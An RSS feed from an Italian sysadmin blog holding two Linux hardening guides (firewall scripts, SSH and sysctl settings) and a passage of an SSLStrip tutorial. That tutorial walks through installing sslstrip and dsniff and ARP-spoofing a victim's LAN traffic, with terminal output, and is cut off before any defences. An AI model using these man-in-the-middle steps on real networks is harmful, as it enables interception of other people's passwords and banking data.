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> <channel><title>Arturu.it &#187; protocolli</title> <atom:link href="http://www.arturu.it/blog/tag/protocolli/feed/" rel="self" type="application/rss+xml" /><link>http://www.arturu.it/blog</link> <description>Web 3.0? premi f11, poi f5 e poi sorridi...</description> <lastBuildDate>Wed, 11 Jan 2012 22:17:10 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>Hardening Linux come utilizzare gli script: firewall, brute force e DDoS</title><link>http://www.arturu.it/blog/2011/08/03/hardening-linux-utilizzare-gli-script-firewall-brute-force-ddos/</link> <comments>http://www.arturu.it/blog/2011/08/03/hardening-linux-utilizzare-gli-script-firewall-brute-force-ddos/#comments</comments> <pubDate>Wed, 03 Aug 2011 15:40:57 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[News]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Sistemista]]></category> <category><![CDATA[Soluzioni]]></category> <category><![CDATA[CentOS]]></category> <category><![CDATA[hardening]]></category> <category><![CDATA[OpenSource]]></category> <category><![CDATA[os]]></category> <category><![CDATA[protocolli]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[sicurezza]]></category> <guid
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href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a></p>Tempo fa in questo articolo sull&#8217;hardening di base dei sistemi linux si è parlato delle tecniche basilari per mettere in sicurezza un sistema linux esposto sulla rete. In questo articolo vedremo come aumentare di un altro gradino la sicurezza utilizzando [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
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href="http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/tux-pol-150x150/" rel="attachment wp-att-833"><img
class="alignleft size-full wp-image-833" title="Hardening linux" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/tux-pol-150x150.jpg" alt="" width="150" height="150" /></a>Tempo fa in questo articolo sull&#8217;<a
title="Hardening di base di un sistema linux ovvero i vaneggiamenti di un sysadmin paranoico" href="http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/">hardening di base dei sistemi linux</a> si è parlato delle tecniche basilari per <strong>mettere in sicurezza</strong> un sistema linux esposto sulla rete. In questo articolo vedremo come aumentare di un altro gradino la sicurezza utilizzando alcuni tra gli <strong>script più famosi</strong>, ovvero: <strong>apf</strong> (Advanced Policy-based Firewall), <strong>bfd</strong> (Brute Force Detection) e <strong>DDoS Deflate</strong>. In questo articolo vedremo come installare i citati scripts e la prima configurazione, inoltre, vedremo dove si trovano i file di configurazione per eventuali regolazioni &#8220;di fino&#8221;. Questo articolo è rivolto a persone che hanno una buona padronanza dei sistemi linux, inoltre, l&#8217;uso del solo &#8220;copia e incolla&#8221; incosciente può causare un blocco del vostro sistema, come sempre consiglio di ragionare prima di compiere azioni avventate.</p><p><span
id="more-943"></span></p><h2>Installazione e configurazione di APF: Advanced Policy-based Firewall</h2><p>Questo script consente di pilotare iptables, su <a
title="Maggiori informazioni su apf" href="http://www.rfxn.com/projects/advanced-policy-firewall/" target="_blank">questa pagina</a> si trovano informazioni più dettagliate su apf. Per installare APF bisogna guadagnare i permessi di root e scaricare il seguente file:</p><pre># wget http://rfxnetworks.com/downloads/apf-current.tar.gz</pre><p>scompattiamo e installiamo</p><pre># tar xfz apf-current.tar.gz
# cd apf-*
# ./install.sh</pre><p>a questo punto il firewall è installato e bisogna configurarlo, apriamo il file:</p><pre>/etc/apf/conf.apf</pre><p>le prime opzioni da configurare sono le seguenti e rispettivamente servono per: attivare il firewall (di default, attraverso un cron job, ogni 5 minuti vengono aggiornate le regole); configurazione degli ingressi TCP e UDP attivi; AntiDos.</p><pre>DEVEL_MODE="1"
IG_TCP_CPORTS="21,22,25,53,80,110,143,443,3306"
IG_UDP_CPORTS="53,111"
USE_AD="1"</pre><p>successivamente possiamo far partire APF con il comando:</p><pre># apf --start</pre><p>Se non siamo contenti della configurazione possiamo muoverci tra la configurazione di APF, ogni singola impostazione è strettamente descritta nel file stesso. Se vogliamo modificare la configurazione AntiDos, per renderla più restrittiva dobbiamo editare il seguente file:</p><pre>/etc/apf/ad/conf.antidos</pre><h2>Installazione e configurazione di BFD: Brute Force Detection</h2><p>Questo è uno script che analizza i file di log alla ricerca di errori di autenticazione, per maggiori informazioni sul funzionamento si può consultare <a
title="Informazioni su bfd" href="http://www.rfxn.com/projects/brute-force-detection/" target="_blank">questa pagina</a>. Per installare BFD, come al solito guadagnamo i privilegi di root e rispettivamente con i seguenti comandi scarichiamo, scompattiamo e installiamo lo script:</p><pre># wget http://rfxnetworks.com/downloads/bfd-current.tar.gz
# tar xfz bfd-current.tar.gz
# cd bfd-*
# ./install.sh</pre><p>il file di configurazione si trova nella seguente posizione:</p><pre>/usr/local/bfd/conf.bfd</pre><p>attiviamo lo script e impostiamo una mail modificando le seguenti impostazioni</p><pre>ALERT="1"
EMAIL_USR="username@yourdomain.com"</pre><p>come per il precedente script possiamo modificare una miriade di impostazioni che si trovano nel file di configurazione, non è complicato in quanto ogni impostazione è minuziosamente descritta. Buona cosa è editare il file</p><pre>/usr/local/bfd/ignore.hosts</pre><p>inserendo il vostro IP, per evitare, in caso di errori, che lo script neghi a voi stessi l&#8217;accesso. Non ci resta che far partire lo script:</p><pre>/usr/local/sbin/bfd -s</pre><h2>Installazione e configurazione di DDoS Deflate</h2><p>Questo script inizialmente è stato sviluppare per funzionare sui server MediaLayer per arginare gli attacchi (D)Dos, molti sysadmin vista l&#8217;efficacia decidono di installarlo sui propri server. Come al solito guadagnamo i privilegi di amministratore e con i seguenti comandi scarichiamo e installiamo DDoS Deflate:</p><pre># wget http://www.inetbase.com/scripts/ddos/install.sh
# sh install.sh</pre><p>e già pronto per funzionare ma se vogliamo modificare qualche impostazione possiamo modificare il file:</p><pre>/usr/local/ddos/ddos.conf</pre><p>non ci resta che avviare lo script:</p><pre># /usr/local/ddos/ddos.sh -c</pre><h2>Conclusioni</h2><p>In questo articolo abbiamo visto come aumentare di una tacca la sicurezza del nostro sistema linux, ricordate sempre che la sicurezza in modo assoluto non esiste e buona fortuna.</p><p>Saluti</p><p>PS Per gli script appena installati ricordate che al riavvio non partiranno, bisogna impostarli per farli partire al reboot.</p><p>&nbsp;</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2011/08/03/hardening-linux-utilizzare-gli-script-firewall-brute-force-ddos/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Hardening di base di un sistema linux ovvero i vaneggiamenti di un sysadmin paranoico</title><link>http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/</link> <comments>http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/#comments</comments> <pubDate>Sat, 16 Jul 2011 15:34:25 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Sistemista]]></category> <category><![CDATA[hardening]]></category> <category><![CDATA[internet]]></category> <category><![CDATA[os]]></category> <category><![CDATA[protocolli]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[Servizi Web]]></category> <category><![CDATA[sicurezza]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Zero-day]]></category> <guid
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href="http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/tux-pol-150x150/" rel="attachment wp-att-833"><img
class="alignleft size-full wp-image-833" title="Hardening linux" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/tux-pol-150x150.jpg" alt="" width="150" height="150" /></a>Premesso che la sicurezza in modo assoluto non esiste, oggi affronteremo un argomento molto vasto e complesso l&#8217;<strong>hardening di un sistema linux</strong>, cioè come rendere più sicuro un sistema esposto sulla rete. In realtà non esiste una guida o &#8220;<em>la guida</em>&#8221; per mettere in sicurezza un sistema linux ma esistono delle regole per evitare che un sistema sia meno attaccabile. Inoltre, questa non vuole essere una guida esaustiva ma una specie di promemoria sulle operazioni da compiere appena installato un sistema linux.<br
/> Questo promemoria sull&#8217;hardening di un sistema linux è destinato a persone che hanno un po&#8217; di esperienza su linux, particolari conoscenze o riti arcani non servono, basta conoscere un po&#8217; il sistema che si intende modificare e i concetti base di linux, comunque, se ricopiate paro paro i comandi senza ragionare rischiate di rendere inaccessibile il vostro sistema.</p><h2><span
id="more-828"></span>Le partizioni e il filesystem</h2><p>Come tutti sanno la radice del filesystem può essere su un unica partizione oppure articolata con diversi punti di montaggio. Come da molte guide che si possono trovare in giro per la rete è ormai assodato che le directory <em>/tmp</em> , <em>/var</em> , <em>/usr</em> e <em>/home</em> vanno montate in partizioni separate.</p><ul><li>Il punto di montaggio <em>/tmp</em> è pubblico, cioè tutti gli utenti devono avere la possibilità di scrivere, quindi, un aumento spropositato di questo punto di montaggio potrebbe mettere in crisi tutto il sistema se esso fosse su un&#8217;unica partizione. Non conviene montare questa partizione con l&#8217;opzione noexec poiché spesso alcuni software usano questa posizione per installare/aggiornare i pacchetti. Poi, se si è abbastanza paranoici come il sottoscritto, si può montare la partizione con l&#8217;opzione noexec, quando bisognerà fare manutenzione sul sistema <em>/tmp</em> verrà smontata e rimontata senza l&#8217;opzione noexec.</li><li>Il punto di montaggio <em>/var</em> è altrettanto importante per quanto riguarda la sicurezza del sistema, specialmente per la presenza di <em>/var/log</em>, in esso vengonono salvati i log di sistema e in caso di un attacco DOS o un brute force potrebbe aumentare a dismisura. Questa partizione si può montare tranquillamente con l&#8217;opzione noexec.</li><li>Il punto di montaggio <em>/usr</em> va montato in sola lettura, da smontare e rimontare in scrittura quando bisogna fare manutenzione al sistema.</li><li>Per il punto di montaggio <em>/home</em> è buona cosa usare una partizione separata, per una serie infinita di motivi, tra i quali vi è la necessità di montare la partizione con l&#8217;opzione noexec. Questo si fa per evitare che un utente possa caricare un eseguibile bacato con l&#8217;intento di sfruttare lo stesso eseguibile per ottenere i privilegi di amministratore tramite shellcode.</li></ul><p>Già queste impostazioni garantiscono una buona sicurezza, poi se si è abbastanza paranoici si può pensare di togliere il bit SUID/SGID da molti eseguibili non strettamente necessari, dipende da sistema a sistema. In caso si utilizza un sistema virtuale in remoto si potrebbe anche utilizzare le quote per settare le dimensioni massime che devono avere le cartelle.<br
/> Se siete sysadmin molto paranoici come il sottoscritto, subito dopo l&#8217;installazione del sistema ci si può calcolare hash di alcuni file sensibili: grep, ls, ps, netstat ecc; infatti, essi sono i primi che un probabile un attaccante modifica per nascondersi nel sistema. Per questa operazione è meglio usare MD5 e SHA1 al posto di MD2 e MD4 che sono algoritmi già violati (teoricamente anche l&#8217;MD5 è violabile ma solo in determinate condizioni che non rientrano nel nostro caso). Logicamente ad ogni aggiornamento bisogna ricalcolare gli hash, ci si può costruire facilmente uno script che faccia questo.</p><h2>Utenti</h2><p>Per un servizio che è costantemente esposto sulla rete i nomi utente giocano un ruolo molto importante se non fondamentale. Da molti bruteforce subiti, sicuramente da parte di bot che scansionano la rete alla ricerca di sistemi vulnerabili, i nome utente più attaccati sono: root, admin, administrator, testing, spam, postgres, ftpuser, user, newsletter, fax, ftp, office, training, demo, oracle, master, contact, staff, sales, backup, info, test, marketing, smtp, bob, windows, webmaster, mysql, anonymous, guest, ecc., quindi di conseguenza utilizzare questi nome utente per i servizi non è un&#8217;idea molto buona, usare questi username si semplifica del 50% il compito di un eventuale attaccante.<br
/> Una buona soluzione è quella di utilizzare per i nome utente regole simili quelle delle passwords o quasi. Per esempio, all&#8217;utente Mario Rossi si potrebbe impostare un nome utente tipo &#8220;MarioRossi123z&#8221; oppure &#8220;mrossi56ScF&#8221; e così via. La stesso concetto si può estendere anche agli accessi ftp o mail se si fornisce un servizio di hosting o simili.<br
/> Vietare l&#8217;accesso ssh agli utenti e non permettere l&#8217;utilizzo di shell, altrimenti un utente malintenzionato potrebbe compilare o caricare un eseguibile con un bug costruito ad hoc e attraverso esso ottenere i privilegi di root. Impostando la partizione <em>/home</em> con noexec, vietando agli utenti l&#8217;utilizzo di shell e dei compilatori possiamo stare relativamente tranquilli.</p><p>Volendo essere paranoici ci si può costruire uno script che analizza ogni ora o mezzora i log di sistema e ad un tot numero di login falliti da parte di un ip metta in banlist lo stesso. Ci si può inventare un pò di tutto, basta un pò di fantasia.</p><h2>Servizi</h2><p>I servizi senza ombra di dubbio sono la via d&#8217;accesso dei nostri potenziali intrusi, dire che bisogna mantenere aggiornato il software è abbastanza scontato, quindi, la prima regola è un update di sicurezza giornaliero.<br
/> La scelta migliore che si possa fare è chiudere tutti i servizi che non ci servono e rinforzare quelli che offriamo. Come prima cosa eliminare totalmente telnet e simili, se per caso sono installati, ma ormai neanche nelle installazioni di default ci stanno sti servizi. Successivamente controlliamo quali servizi sono aperti digitando da terminale:</p><pre>netstat -t -u -l</pre><p>oppure se preferiamo il numero delle porte</p><pre>netstat -t -u -l --numeric-ports</pre><p>dovremmo ottenere un output simile a questo</p><pre>Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address      Foreign Addr  State
tcp        0      0 *:pop3s                *:*       LISTEN
tcp        0      0 *:mysql                *:*       LISTEN
tcp        0      0 *:pop3                 *:*       LISTEN
tcp        0      0 *:imap                 *:*       LISTEN
tcp        0      0 localhost.locald:domain*:*       LISTEN
tcp        0      0 *:smtp                 *:*       LISTEN
tcp        0      0 *:imaps                *:*       LISTEN
tcp        0      0 *:http                 *:*       LISTEN
tcp        0      0 *:domain               *:*       LISTEN
tcp        0      0 *:ftp                  *:*       LISTEN
tcp        0      0 *:https                *:*       LISTEN
tcp        0      0 *:ssh                  *:*       LISTEN
udp        0      0 localhost.locald:domain*:*
udp        0      0 localhost.locald:domain*:*
udp        0      0 *:36593                *:*
udp        0      0 *:domain               *:*</pre><p>Vediamo dove intervenire</p><h2>Mettere in sicurezza SSH</h2><p>Come detto in precedenza solo gli admin o l&#8217;admin dovrebbe essere abilitato a questo accesso, gli altri utenti non devono poter accedere a questo servizio. Inoltre, molto importante è disabilitare l&#8217;accesso all&#8217;utente root, i privilegi di superutente verranno acquisiti dagli admin tramite il comando su.<br
/> Apriamo il file <em>/etc/ssh/sshd_config</em> con un editor, per disabilitare l&#8217;accesso a root, lasciare l&#8217;accesso solo ad alcuni utenti e vietare l&#8217;uso di password vuote, modificare come segue le seguenti linee</p><pre>PermitRootLogin no
AllowUsers pincopallino, secondopinco
PermitEmptyPasswords no</pre><p>Una buona idea è cambiare la porta predefinita del servizio e forzare l&#8217;utilizzo del protocolo 2</p><pre>Port 65000
Protocol 2</pre><p>eventualmente per impedire l&#8217;utilizzo di sftp commentare la riga</p><pre>#Subsystem    sftp    /usr/libexec/openssh/sftp-server</pre><p>eventualmente se si volesse modificare il banner di presentazione del servizio, prima bisogna de-commentare la seguente riga e successivamente impostare una path dove salvare un file di testo con il banner</p><pre>#Banner /some/path</pre><p>modificato tutto, bisogna riavviare il servizio sshd stando attenti a non fare alcun errore, se si opera in remoto si rischia di autoescludersi dal sistema.</p><p>In caso la paranoia si fa sentire, si può abilitare l&#8217;accesso a ssh soltanto in possesso di una chiave crittografica impostando nel file di configurazione</p><pre>PubkeyAuthentication yes</pre><p>successivamente bisognerà generare una chiave privata e una pubblica per ogni utente a cui si vuole dare l&#8217;accesso, maggiori informazioni su <a
title="Informazioni sulle chiavi ssh" href="http://sial.org/howto/openssh/publickey-auth" target="_blank">http://sial.org/howto/openssh/publickey-auth</a> o <a
title="Sito ufficiale ssh" href="http://www.openssh.com" target="_blank">http://www.openssh.com</a>, l&#8217;accesso si effettua soltanto con la chiave e non verrà richiesta alcuna password.<br
/> Inoltre, possiamo fare in modo che ogni utente loggato lavori in un abiente simile ad un sistema linux ma limitato di alcuni comandi utilizzando un fake chroot, oppure, possiamo prevedere l&#8217;apertura della porta ssh con il port knocking (la classica bussata segreta) per queste e altre tecniche rimando sempre al sito ufficiale di openssh, altrimenti questo articolo diventerebbe troppo lungo.</p><h2>Gli altri servizi</h2><p>Secondo il mio punto di vista sono da prediligere pop3s, smtps e imaps e da chiudere pop3, smtp e imap a meno che non abbiate degli utenti che li utilizzano, in tal caso bisognerà costruire una specie di piano d&#8217;uscita da questi servizi obsoleti.</p><h2>Limitare un SYN Flood</h2><p>Questo era un attacco DOS molto comune alla fine del secolo scorso, le recenti impostazioni di rete tendono a limitare o annullare del tutto questo tipo di attacco. L&#8217;attacco tende a saturare le risorse di sistema, una descrizione dell&#8217;attacco la si può trovare su <a
title="Info SYN Flood" href="http://www.cert.org/advisories/CA-1996-21.html" target="_blank">http://www.cert.org/advisories/CA-1996-21.html</a> . Per limare ulteriolmente le impostazioni di sicurezza rispetto a quelle della vostra rete si possono utlizzare i SYN cookies, essi limitano il numero di richieste da parte di un singolo utente. Aprire il file <em>/etc/sysctl.conf</em> (è un file di configurazione del kernel) ed editare le seguenti linee</p><pre>#Prevent SYN attack
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = xxx
net.ipv4.tcp_synack_retries = 2</pre><p>e le successive linee per la protezione contro l’IP Spoofing</p><pre># Enable IP spoofing protection, turn on source route verification
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1
net.ipv4.conf.eth0.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1</pre><p>poi se si desidera configurare la distribuzione come un firewall possiamo utilizzare la configurazione proposta da <a
title="Impostazioni firewall sysctl.conf " href="http://openskill.info/infobox.php?ID=1166" target="_blank">http://openskill.info/infobox.php?ID=1166</a></p><pre>net.ipv4.ip_forward = 1
net.ipv4.ip_dynaddr = 1
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.tcp_sack = 0
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_window_scaling = 0
net.ipv4.tcp_syn_retries = 3
net.ipv4.tcp_synack_retries = 3
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.default.log_martians = 1
net.ipv4.conf.all.rp_filter = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.all.log_martians = 1
kernel.printk = 1 4 1 7
##
net.ipv4.tcp_max_syn_backlog=1280
net.ipv4.conf.all.send_redirects=0
net.ipv4.conf.all.forwarding=0
net.ipv4.conf.all.mc_forwarding=0
net.ipv4.vs.timeout_timewait=60</pre><p>Conclusioni</p><p>Secondo il mio punto di vista questo è il minimo sindacale per mettere in sicurezza il nostro sistema esposto ai rischi della rete. Certo l&#8217;hardening non finisce qua, anzi, questa è solo la punta dell&#8217;iceberg, è compito di ogni sistemista documentarsi e apprendere giorno per giorno nuove tecniche, anche tentando di violare i propri sistemi per saggiarne la sicurezza.</p><p>In rete si trovano numerosi script che ci aiutano in questo compito, magari in un prossimo futuro farò un articolo in merito.</p><p>Saluti</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Ssl strip</title><link>http://www.arturu.it/blog/2010/10/20/ssl-strip/</link> <comments>http://www.arturu.it/blog/2010/10/20/ssl-strip/#comments</comments> <pubDate>Wed, 20 Oct 2010 15:43:50 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[Ubuntu & C.]]></category> <category><![CDATA[Vulnerabilità]]></category> <category><![CDATA[instantempo]]></category> <category><![CDATA[pacchetti]]></category> <category><![CDATA[protocolli]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[wireless]]></category> <guid
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href="http://www.arturu.it/blog/category/vulnerabilita/" title="Vulnerabilità">Vulnerabilità</a></p>Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al Black Hat DC del 2009 che rientra nella categoria dei MITM (Main in the middle). All&#8217;interno di una [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
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href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
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href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a><a
href="http://www.arturu.it/blog/category/vulnerabilita/" title="Vulnerabilità">Vulnerabilità</a></p><p><img
class="alignleft" title="SSL" src="http://luxsci.com/images/icons/net_sec/128x128/shadow/lock_ok.gif" alt="Icona" width="128" height="128" />Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al <a
href="http://www.blackhat.com/" target="_blank">Black Hat</a> DC del 2009 che rientra nella categoria dei MITM (<a
href="http://it.wikipedia.org/wiki/Man_in_the_middle" target="_blank">Main in the middle</a>). All&#8217;interno di una rete LAN, questa tecnica permette di sniffare le password provenienti da un server sicuro, HTTPS per fare un esempio. Questa tecnica risulta molto pericolosa, in quanto, se un malintenzionato riuscisse ad entrare in una qualsiasi rete LAN o rete wireless (abitazione, ufficio, ecc) potrebbe venire in possesso dei vostri account email e password di hotmail, gmail, facebook, twitter, instantempo e perfino i dati bancari. La tecnica, a grandi linee, molto semplicemente, consiste nel far in modo che il computer dell&#8217;attaccante si metta in mezzo tra il computer della vittima e il router, il computer dell&#8217;attaccante diventa un &#8220;nodo invisibile&#8221; su cui vengono veicolate tutte le informazioni. A fine articolo si abbozzeranno delle soluzioni al problema.</p><p><span
id="more-704"></span></p><h3>Configurazione di SSL Strip</h3><p>Il sistema che userò per configurare gli script e i programmi è Ubuntu 10.4, per diversi motivi: i sorgenti e i comandi sono progettati per un sistema Linux; su un altro sistema non si possono fare tutte le modifiche che ci si propone di fare; sono molti anni che uso Ubuntu e lo conosco fin nei minimi particolari.</p><p>La prima operazione da fare è scaricare SSLStrip da: <a
href="http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz" target="_blank">http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz</a></p><p>Scompattare il pacchetto, utilizzare &#8220;tar -zxvf sslstrip-0.4.tar.gz&#8221; se si sta operando da terminale.</p><pre class="shell">arturu@arturu-laptop:~/Scrivania$ tar -zxvf sslstrip-0.7.tar.gz
sslstrip-0.7/
sslstrip-0.7/setup.py
sslstrip-0.7/README
sslstrip-0.7/COPYING
sslstrip-0.7/lock.ico
sslstrip-0.7/sslstrip/
sslstrip-0.7/sslstrip/StrippingProxy.py
sslstrip-0.7/sslstrip/URLMonitor.py
sslstrip-0.7/sslstrip/ServerConnectionFactory.py
sslstrip-0.7/sslstrip/__init__.py
sslstrip-0.7/sslstrip/ServerConnection.py
sslstrip-0.7/sslstrip/ClientRequest.py
sslstrip-0.7/sslstrip/SSLServerConnection.py
sslstrip-0.7/sslstrip/CookieCleaner.py
sslstrip-0.7/sslstrip.py
arturu@arturu-laptop:~/Scrivania$</pre><p>Il file compresso viene estratto in una cartella, entrare nella cartella e compilare il codice sorgente con &#8220;python setup.py build&#8221; (è necessario avere installato l&#8217;interprete python)</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ python setup.py build
running build
running build_py
creating build
creating build/lib.linux-i686-2.6
creating build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnection.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/StrippingProxy.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/__init__.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/SSLServerConnection.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnectionFactory.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ClientRequest.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/URLMonitor.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/CookieCleaner.py -&gt; build/lib.linux-i686-2.6/sslstrip
running build_scripts
creating build/scripts-2.6
copying and adjusting sslstrip/sslstrip -&gt; build/scripts-2.6
changing mode of build/scripts-2.6/sslstrip from 644 to 755
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Successivamente bisogna installare tutto con il comando &#8220;sudo python setup.py install&#8221;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo python setup.py install
[sudo] password for arturu:
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -&gt; build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -&gt; /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Appena installato SSLStrip, bisogna procedere all&#8217;installazione di arpspoof. Arpspoof è un programma che fa credere ad  un host (computer della vittima) che l&#8217;indirizzo MAC dell&#8217;attaccante è l&#8217;indirizzo MAC del router (contaminando i pacchetti arp, ma questo è un altro discorso), così facendo la vittima inizia ad inviare all&#8217;attaccante tutto il suo traffico di rete; il  kernel dell&#8217;attaccante, ad eccezione per il traffico destinato alla  porta 80, reindirizza tutto a $ listenPort (10000, per esempio).</p><p>Installiamo arpspoof con il comando &#8220;sudo apt-get install dsniff&#8221; e successivamente installiamo Ettercap (altro famoso tool per la cattura dei pacchetti) con il comando &#8220;sudo apt-get install ettercap&#8221;.</p><p>Adesso che abbiamo installato tutto il software si può passare all&#8217;utilizzo.</p><h3>Utilizzo di SSLStrip</h3><p>Da ora in poi facciamo finta che noi siamo gli attaccanti e Mario sia la nostra vittima. Come prima cosa bisogna conoscere il nostro indirizzo ip all&#8217;interno della rete LAN, da terminale digitiamo &#8220;ifconfig&#8221;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ifconfig
eth0    Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:0 (0.0 B)  Byte TX:0 (0.0 B)
          Interrupt:21
wlan0  Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          indirizzo inet:10.10.100.5  Bcast:10.10.100.255  Maschera:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:41373 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44774 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:27814338 (27.8 MB)  Byte TX:10429284 (10.4 MB)
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Dopo la voce HWaddr abbiamo il nostro indirizzo MAC e dopo inet il nostro indirizzo ip nella rete interna. In questo caso nella mia rete interna ho il seguente indirizzo ip 10.10.100.5 sull&#8217;interfaccia wireless, l&#8217;ethernet è disattivata; il mio MAC address è 00:00:00:00:00:00 (l&#8217;ho modificato perché non mi va di pubblicarlo).</p><p>Bisogna trovare l&#8217;indirizzo del gateway, è necessario che esso sia uguale a quello della vittima, situazione che si verifica nel 90% dei casi, digitiamo da terminale &#8221; ip route show | grep default | awk &#8216;{ print $3}&#8217; &#8220;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ip route show | grep default | awk '{ print $3}'
10.10.100.254
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>in questo caso l&#8217;indirizzo del gateway è 10.10.100.254.<br
/> Successivamente bisogna aprire tre diverse schede nella finestra del terminale, perché abbiamo bisogno di eseguire tre comandi in parallelo.<br
/> Nel primo tab eseguire &#8220;sudo arpspoof -t 10.10.100.2 10.10.100.254&#8243;, dove il primo indirizzo ip è quello della vittima e il secondo è il gateway (per trovare gli indirizzi dei computer connessi nella LAN basta utilizzare un qualsiasi scanner di rete), il risultato è simile al seguente (ho modificato i MAC address) praticamente ogni pacchetto della vittima in ogni instantempo viene fatto passare attraverso il nostro computer e inviato al router vero, e viceversa.</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo arpspoof -t 10.10.100.2 10.10.100.254
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
